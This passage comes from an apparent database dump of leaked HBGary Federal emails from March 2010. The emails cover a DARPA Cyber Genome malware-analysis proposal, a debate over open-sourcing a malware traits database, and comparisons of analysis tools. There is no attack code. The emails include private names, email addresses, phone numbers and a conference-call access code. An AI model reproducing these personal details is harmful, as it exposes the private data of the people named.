-&nbsp;www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4903,'aaron_hbgary_com/4903.html'),(3239,'2010-03-01','\"Terry Patten\" <terry.patten@cox.net>','/aaron@hbgary.com/new/1297001504.M798099P3547Q3239.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            Terry Patten has indicated you are a Colleague at Northrop Grumman:\r\n\r\n  \r\n    Good to see you at the Naval Research Lab the other day. I\'d like to add you to my professional network on LinkedIn.\r\n\r\n- Terry Patten\r\n  \r\n\r\n  &nbsp;\r\n\r\n   \r\n     \r\n         \r\n           Accept\r\n         \r\n          \r\n               View invitation from Terry Patten\r\n         \r\n     \r\n   \r\n\r\n   \r\n   &nbsp;\r\n   \r\n   DID YOU KNOW you can showcase your professional knowledge on LinkedIn to receive job/consulting offers and enhance your professional reputation? Posting replies to questions on LinkedIn Answers puts you in front of the world\'s professional community. \r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',3170,'aaron_hbgary_com/3170.html'),(3240,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001505.M40446P3547Q3240.eml','\"Rich Cummings\" <rich@hbgary.com>','Automatic generation of execution trees','Doesn\'t REcon already automatically generate execution trees?TEchnical area 3:This technical area will investigate automated analysis and visualization of computer binary (machine language) functionality and behaviors (reverse engineering). Performers will develop technologies to conduct automated analysis of binary software of interest to assist analysts in understanding the software’s function and intent.Examples of revolutionary technologies include but are not limited to:\r\n\r\nAutomatically generated execution trees from submitted malware that include automated analysis of software dependencies.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',682,'aaron_hbgary_com/682.html'),(3241,'2010-03-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001513.M645963P3547Q3241.eml','\"Aaron Barr\" <aaron@hbgary.com>','AFR proposals','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nAttached are the proposals for Phase I and Phase II and the\r\nfinal report for Phase II.&nbsp; These docs have tons of info on AFR.&nbsp; \r\n\r\n&nbsp;\r\n\r\nIt would crack me up if these docs form the basis of a winning\r\nDARPA proposal in 2010.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4961,'aaron_hbgary_com/4961.html'),(3242,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001514.M151382P3547Q3242.eml','\"Ted Vera\" <ted@hbgary.com>','','866-765-5631  code 5057292#\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2963,'aaron_hbgary_com/2963.html'),(3243,'2010-03-01','\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>','/aaron@hbgary.com/new/1297001514.M533323P3547Q3243.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Rodriguez, Harold\" <Harold.Rodriguez@gd-ais.com>,aaron@hbgary.com,rich@hbgary.com,greg@hbgary.com,\"Bob Slapnik\" <bob@hbgary.com>,\"Rodriguez, Harold\" <Harold.Rodriguez@gd-ais.com>,aaron@hbgary.com,rich@hbgary.com,greg@hbgary.com,','RE: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\nCyber-Genome Meeting - Notes from yesterday\'s meeting\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTA #1 is definitely big picture.&nbsp; It has everything to do\r\nwith how malware is interrelated.&nbsp; However, there definitely some areas of\r\nmalware analysis that push into both TA #3 and TA #1.&nbsp; The biggest issue\r\nin computer correlation problems is the normalizing of data.&nbsp; If data is gathered\r\nfrom many sources in different formats, it becomes increasingly difficult to\r\nmake correlations.&nbsp; Without control of in input, we can never hope to\r\nachieve promising results.&nbsp; Therefore, the first step in correlation is\r\nprocessing malware to extract information that can be understood by a computer\r\n(consistent, predictable, reliable).&nbsp; This information is also needed in\r\nTA #3, but the output would also have to be human readable.&nbsp; TA #1 has no\r\nsuch issue.\r\n\r\n&nbsp;\r\n\r\nJason\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Monday, March 01, 2010 7:28 AM\r\nTo: Rodriguez, Harold; aaron@hbgary.com; rich@hbgary.com;\r\ngreg@hbgary.com\r\nCc: Upchurch, Jason R.; Starr, Christopher H.; Harlow, Douglas M.; Vela,\r\nRyan; Wilson, Ben N.\r\nSubject: RE: DARPA\'s Cyber-Genome Program - Technical Area 1 - General\r\nDynamics - AIS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHarold\r\net al,\r\n\r\n&nbsp;\r\n\r\nTo\r\nme TA #1 is requesting how to organize and correlate large amounts of data\r\nabout many or all malware.&nbsp; I would argue that TA #3 is where much of the\r\nlow level data is generated for use within the TA #1 solution.&nbsp; (TA #3 is\r\nmore focused on r/e and acquiring the low level data.&nbsp; TA #1 is more big\r\npicture oriented.) \r\n\r\n&nbsp;\r\n\r\nThe\r\nbasis of TA #1 is the creation of a Malware Genome &#8211; a repository of data\r\nabout malware and the interrelationships and correlation among the data and the\r\nmalware.\r\n\r\n&nbsp;\r\n\r\nHere\r\nis a list of malware factors straight from HBGary&#8217;s website.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nInstallation and Deployment Factors \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCommunication Factors \r\n\r\n\r\n Information Security Factors \r\n Defensive Factors \r\n Development Factors \r\n Command and Control Factors \r\n\r\n\r\nThis\r\nlist is a partial framing of the conversation of how to describe malware.&nbsp;\r\nWe can do much more to accurately assess malware for each factor.&nbsp; And\r\ntoday we haven&#8217;t even started the job of comparing malware samples with\r\neach other looking for commonality, lineage, or attribution.\r\n\r\n&nbsp;\r\n\r\nBob\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rodriguez, Harold\r\n[mailto:Harold.Rodriguez@gd-ais.com] \r\nSent: Monday, March 01, 2010 7:47 AM\r\nTo: aaron@hbgary.com; rich@hbgary.com; bob@hbgary.com; greg@hbgary.com\r\nCc: Upchurch, Jason R.; Starr, Christopher H.; Harlow, Douglas M.; Vela,\r\nRyan; Wilson, Ben N.\r\nSubject: RE: DARPA\'s Cyber-Genome Program - Technical Area 1 - General\r\nDynamics - AIS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGood Morning,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHere\r\nis an updated document adding a column for metrics/measures of success.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest\r\nregards,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHarold Rodriguez\r\nLead Systems Engineer\r\nGeneral Dynamics - Advanced Information Systems\r\nDC3\\DCCI: (410)\r\n694-6409 \r\n\r\n\r\n\r\nGDAIS:\r\n(240) 456-5600 x8028\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rodriguez, Harold\r\nSent: Sun 2/28/2010 11:46 PM\r\nTo: aaron@hbgary.com; rich@hbgary.com; bob@hbgary.com; greg@hbgary.com\r\nCc: Upchurch, Jason R.; Starr, Christopher H.; Harlow, Douglas M.; Vela,\r\nRyan; Wilson, Ben N.\r\nSubject: DARPA\'s Cyber-Genome Program - Technical Area 1 - General\r\nDynamics - AIS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\nRich, Bob, Greg,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nam currently supporting Jason Upchurch in Technical Area 1 for the DARPA Cyber\r\nGenome technical&nbsp;proposal.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFor\r\nthis technical area, could you please look at the attached document and provide\r\nsome of what you will consider are Win/Innovative/Revolutionary&nbsp;RESEARCH\r\nideas.&nbsp;It will be greatly appreciated if you could&nbsp;also provide one\r\n(1) or (2) technical papers in the area.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn\r\nthe attached document I tried to provide couple of examples, but feel free to\r\nadd the information you feel is appropriate.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest\r\nregards and thank you!\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHarold\r\nRodriguez\r\nLead Systems Engineer\r\nGeneral Dynamics - Advanced Information Systems\r\nDC3\\DCCI: (410) 694-6409\r\n\r\n\r\n\r\n\r\n\r\nGDAIS:\r\n(240) 456-5600 x8028\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15041,'aaron_hbgary_com/15041.html'),(3244,'2010-03-01','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001514.M721736P3547Q3244.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Phil Porras\" <porras@csl.sri.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,dawnsong@cs.berkeley.edu','FW: DARPA Cyber Genome (DCG) Proposal Kickoff','\r\n\r\n\r\n\r\n\r\nFW: DARPA Cyber Genome (DCG) Proposal Kickoff\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Vela, Ryan\r\nSent: Monday, March 01, 2010 11:05 AM\r\nTo: Harlow, Douglas M.; Upchurch, Jason R.; Starr, Christopher H.; Rodriguez, Harold; Wilson, Ben N.; Spiller, John F.; Kipper, Gregory A.; Brown, Glenn M.; Brunelli, Rex; Hromada, Chris D.; Wenthold, Russell L.; Hart, Robert S.; Ager, Pat M.; Corcino, Stefanie E.; Larson, Cindy S.; Davis, Sabrina\r\nCc: Khoshnoodi, Bardia; Autry, Errin L.; Harris, Allison M.; bob@hbgary.com; Anita D\'Amico\r\nSubject: RE: DARPA Cyber Genome (DCG) Proposal Kickoff\r\n\r\n\r\n\r\nAttached is the handout for today&#8217;s kickoff meeting.\r\n\r\n &lt;&lt;Kickoff Handout.doc&gt;&gt; \r\n\r\n\r\nRyan Vela\r\nLead Cyber Security Forensic Examiner\r\n\r\nCyber Protection and Digital Forensics\r\nGeneral Dynamics Advanced Information Systems\r\n2721 Technology Drive, Suite 300\r\nAnnapolis Junction, MD 20701\r\nOffice: 240-456-5841\r\n\r\nMobile: 832-867-5201\r\n\r\nThis email message is for the sole use of the intended recipient(s) and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply email and destroy all copies of the original message.\r\n\r\n\r\n\r\n\r\n\r\n-----Original Appointment-----\r\nFrom: Vela, Ryan\r\nSent: Friday, March 28, 2003 12:42 AM\r\nTo: Vela, Ryan; Harlow, Douglas M.; Upchurch, Jason R.; Starr, Christopher H.; Rodriguez, Harold; Wilson, Ben N.; Spiller, John F.; Kipper, Gregory A.; Brown, Glenn M.; Brunelli, Rex; Hromada, Chris D.; Wenthold, Russell L.; Hart, Robert S.; Ager, Pat M.; Corcino, Stefanie E.; Larson, Cindy S.; Davis, Sabrina\r\nCc: Khoshnoodi, Bardia; Autry, Errin L.; Harris, Allison M.; bob@hbgary.com\r\nSubject: DARPA Cyber Genome (DCG) Proposal Kickoff\r\nWhen: Monday, March 01, 2010 11:00 AM-12:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: 866-765-5631, code 5057292#\r\n\r\n\r\n\r\nScheduled time: 11 AM EST / 8 AM PST\r\n\r\nCall information: 866-765-5631, code 5057292#\r\n\r\n\r\n\r\nTentative Agenda\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Proposal Overview\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Proposal Schedule\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Proposal Team\r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Writing and Task Assignments\r\n\r\n5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Win Themes, Strategy, and the Customer\r\n\r\n\r\n\r\n\r\n',3479,'aaron_hbgary_com/3479.html'),(3245,'2010-03-01','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297001514.M916074P3547Q3245.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Thought','It would be very bad.  Jamie and others like him would immediately incorporate our rules into their products, and bad-guys would immediately start crafting their malware to evade said rules.  All around it would corrode value.\r\n\r\n \r\n-Greg\r\nOn Mon, Mar 1, 2010 at 5:32 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nWould it be detrimental to HBGary business to open source the traits database?My thought is this is the best working example of a method for identifying malware today.  More behavior based models will be developed.  If you open sourced it, and it became the standard, so the community manages the maturation of the database, you can focus on how that gets used for automated analysis and build more integrated automated incident response and course of action capabilities.\r\nAaron BarrCEOHBGary Federal Inc.\r\n',9421,'aaron_hbgary_com/9421.html'),(3246,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001515.M117578P3547Q3246.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Re: Thought','got it.On Mar 1, 2010, at 11:07 AM, Greg Hoglund wrote:It would be very bad.&nbsp; Jamie and others like him would immediately incorporate our rules into their products, and bad-guys would immediately start crafting their malware to evade said rules.&nbsp; All around it would corrode value.\r\n\r\n&nbsp;\r\n-Greg\r\nOn Mon, Mar 1, 2010 at 5:32 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nWould it be detrimental to HBGary business to open source the traits database?My thought is this is the best working example of a method for identifying malware today. &nbsp;More behavior based models will be developed. &nbsp;If you open sourced it, and it became the standard, so the community manages the maturation of the database, you can focus on how that gets used for automated analysis and build more integrated automated incident response and course of action capabilities.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1946,'aaron_hbgary_com/1946.html'),(3247,'2010-03-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001515.M337449P3547Q3247.eml','\"Aaron Barr\" <aaron@hbgary.com>','HBGary and Fed as subs','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nSeems GD is looking at HBGary as one company.&nbsp; We need them\r\nto know there are two companies, HBG and HBG Fed, and to decide writing and\r\nwork definition.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10412,'aaron_hbgary_com/10412.html'),(3248,'2010-03-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001515.M539472P3547Q3248.eml','\"Barr Aaron\" <aaron@hbgary.com>','Greg','Greg called when I was on the telecon.  He has all day today and\r\ntomorrow slated to help us with the Cyber Genome proposal.  I told him\r\nwe\'d call him back after the telecon.  We discussed the problem of\r\nbeing able to execute all possible code-paths.  He developed a\r\ntechnology called AFT - automated flow resolution.  He said it is a\r\ntough problem, but feels he has a valid tech approach, along with some\r\nproof of concept code and a prototype.  They used this code several\r\nyears ago to win a SBIR, but Derick Repep mis-managed the effort, and\r\nultimately they spent millions of dollars without really making any\r\nsignificant progress in the implementation (Greg is still pissed about\r\nthat).\r\n\r\nTed\r\n',6964,'aaron_hbgary_com/6964.html'),(3249,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001515.M710947P3547Q3249.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Greg','cool.\r\n\r\nOn Mar 1, 2010, at 11:55 AM, Ted Vera wrote:\r\n\r\n> Greg called when I was on the telecon.  He has all day today and\r\n> tomorrow slated to help us with the Cyber Genome proposal.  I told him\r\n> we\'d call him back after the telecon.  We discussed the problem of\r\n> being able to execute all possible code-paths.  He developed a\r\n> technology called AFT - automated flow resolution.  He said it is a\r\n> tough problem, but feels he has a valid tech approach, along with some\r\n> proof of concept code and a prototype.  They used this code several\r\n> years ago to win a SBIR, but Derick Repep mis-managed the effort, and\r\n> ultimately they spent millions of dollars without really making any\r\n> significant progress in the implementation (Greg is still pissed about\r\n> that).\r\n> \r\n> Ted\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16024,'aaron_hbgary_com/16024.html'),(3250,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001515.M903768P3547Q3250.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','Re: DARPA BAA','irby@pikewerks.com\r\nadam.fraser@pikewerks.com\r\n\r\n\r\n',10942,'aaron_hbgary_com/10942.html'),(3251,'2010-03-01','\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>','/aaron@hbgary.com/new/1297001516.M978733P3547Q3251.eml','aaron@hbgary.com,\"Bob Slapnik\" <bob@hbgary.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,porras@csl.sri.com,dawnsong@cs.berkeley.edu,\"Rodriguez, Harold\" <Harold.Rodriguez@gd-ais.com>,aaron@hbgary.com,\"Bob Slapnik\" <bob@hbgary.com>','DCG Tech #1 Very rough abstract','\r\n\r\n\r\n\r\n\r\nDCG Tech #1 Very rough abstract\r\n\r\n\r\n\r\n\r\nI have attached my general abstract for our idea (it is NOT &#8220;researchy&#8221; and very high level and NEEDS A LOT OF WORK), which can serve as a general outline to begin our writing assignments.&nbsp; It needs to be cleaned and reviewed (oh so very) soon.\r\n\r\nj\r\n\r\n &lt;&lt;DAPRA-ProblemMethodAbstract.doc&gt;&gt; \r\n\r\n\r\n\r\n\r\n',1629,'aaron_hbgary_com/1629.html'),(3252,'2010-03-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001517.M223004P3547Q3252.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','new-hire','Penny,\r\n\r\nI have authorization to proceed from Bill Thompson on the feasibility\r\nstudy for Project B.  As discussed, Martin and Clearhat do not have\r\navailability to help on this.  We\'d like to hire Mark Trynor to do\r\nthis work.  He\'s an experienced software engineer with RE, mobile,\r\ngaming, and web experience.  We expect the feasibility study to take 2\r\nweeks and the development to take up to 3 months.  He is available\r\nimmediately.\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',8988,'aaron_hbgary_com/8988.html'),(3253,'2010-03-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001517.M400998P3547Q3253.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Greg, can you join our telecon?','866-765-5631  code 5057292#\r\n\r\nCurrently discussing approaches to determine software lineage / attribution.\r\n\r\nTed\r\n',804,'aaron_hbgary_com/804.html'),(3254,'2010-03-01','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297001517.M987351P3547Q3254.eml','ted@hbgary.com,ted@hbgary.com,,,','Advance Notice of DARPA Requirements - Intellectual Property and OCI','\r\n\r\n\r\n\r\n\r\nHello \r\nTed,\r\n&nbsp;\r\nAs discussed by Russ \r\nWenthold during this morning\'s Proposal Kickoff conference call, DARPA has \r\nidentified their expectations/requirements applicable to Intellectual Property \r\nand OCI in DARPA-BAA-10-36 dated January 28, 2010.&nbsp;&nbsp;These requirements \r\nwill be described in the forthcoming GDAIS Request for \r\nProposal.\r\n&nbsp;\r\nHowever, due to the \r\nvery&nbsp;small window of time related to this proposal effort I have \r\nattached&nbsp;DARPAs expectations for your&nbsp;review and response.&nbsp; \r\n\r\n&nbsp;\r\nPlease review both \r\ndocuments and provide your comments to all by noon on Wednesday, March 3rd, or \r\nsooner.&nbsp;&nbsp; Thank you.\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\nCindy \r\nLarson\r\nGDAIS Sr. Lead Specialist, \r\nContracts\r\n480-441-4235\r\n',466,'aaron_hbgary_com/466.html'),(3255,'2010-03-01','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297001518.M217144P3547Q3255.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Responder and Palantir Loaded','Sure.  Recon and CW are trying to attack the same problem (what did malware do based on dynamic analysis).  Differences:-Recon traces activity from kernel space(harder to detect).  CW uses in-line hooks which can be more easily subverted.  We single step code and can watch buffers decrypt etc.  They just see the after effects of it running.\r\n-Responder can quickly go from dynamic analysis to static analysis because we have a memory image to work with post-execution.-Responder/REcon allow a deeper inspection of the OS post-exploitation.  CW just produces a report.\r\n-CW is easy to use whereas Recon takes a little more coaxing.  -CW has an ability to store information about each execution in a DB.  We&#39;re working on it but are not there yet. I&#39;ll give you a demo when you have some time.\r\nOn Sun, Feb 28, 2010 at 9:05 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nThanks.Can you tell me what the big differences are between Responder/Recon and CWSandbox?Aaron\r\nOn Feb 27, 2010, at 4:58 PM, Phil Wallisch wrote:Hi Aaron.  I&#39;m away from my main rig right now but I do have a suggestion for sample memory images.  Try Hogfly&#39;s exmplar images:\r\n\r\n \r\nhttp://cid-5694a755c9c6a175.skydrive.live.com/browse.aspx/Public\r\n \r\nLink is off of Forensic IR blog:\r\n \r\nhttp://forensicir.blogspot.com/  (skydrive link)\r\n \r\nThat&#39;s good news about the clearances.  I&#39;m looking forwarding to the opportunity.  \r\nOn Fri, Feb 26, 2010 at 11:38 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHey Guys,I have responder and palantir loaded in a VM and was wondering if you have some good VMEMs that I can look at?  Also met with Fidelis.  They are going to get us some copies of their Scout software which does environment discovery.  I am interested to look at it to incorporate into our IR process.  I let you know when I get it.\r\n\r\nBTW,  Ted and I will be getting our clearances back in the next few weeks.  Whooohoooo!  About time.  Next step will be completing our Fixed Facility paperwork so we can hold our own clearances for HBGary federal and then can start submitting people that are interested in getting one and have a need.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',8191,'aaron_hbgary_com/8191.html'),(3256,'2010-03-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001518.M404666P3547Q3256.eml','\"Barr Aaron\" <aaron@hbgary.com>','The Defense Computer Forensics Laboratory (DCFL)','The Defense Computer Forensics Laboratory (DCFL)\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',15429,'aaron_hbgary_com/15429.html'),(3257,'2010-03-01','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001524.M720514P3547Q3257.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,','RE: Links for MITRE\'s MAEC malware project','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPhil, apparently this was funded\r\nby Doug Maughan, when you are there it would be interesting to get his thoughts\r\non it\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Sunday, February 28, 2010 7:08 AM\r\nTo: \'Penny Leavy-Hoglund\'\r\nCc: \'Aaron Barr\'; greg@hbgary.com; \'Ted Vera\'\r\nSubject: Links for MITRE\'s MAEC malware project\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny,\r\n\r\n&nbsp;\r\n\r\nYou were asking me about a paper on MITRE&#8217;s MAEC (malware\r\nattribute enumeration and characterization project). Go this link http://maec.mitre.org/ then on the left side of\r\nthe page are other links for more info:&nbsp; 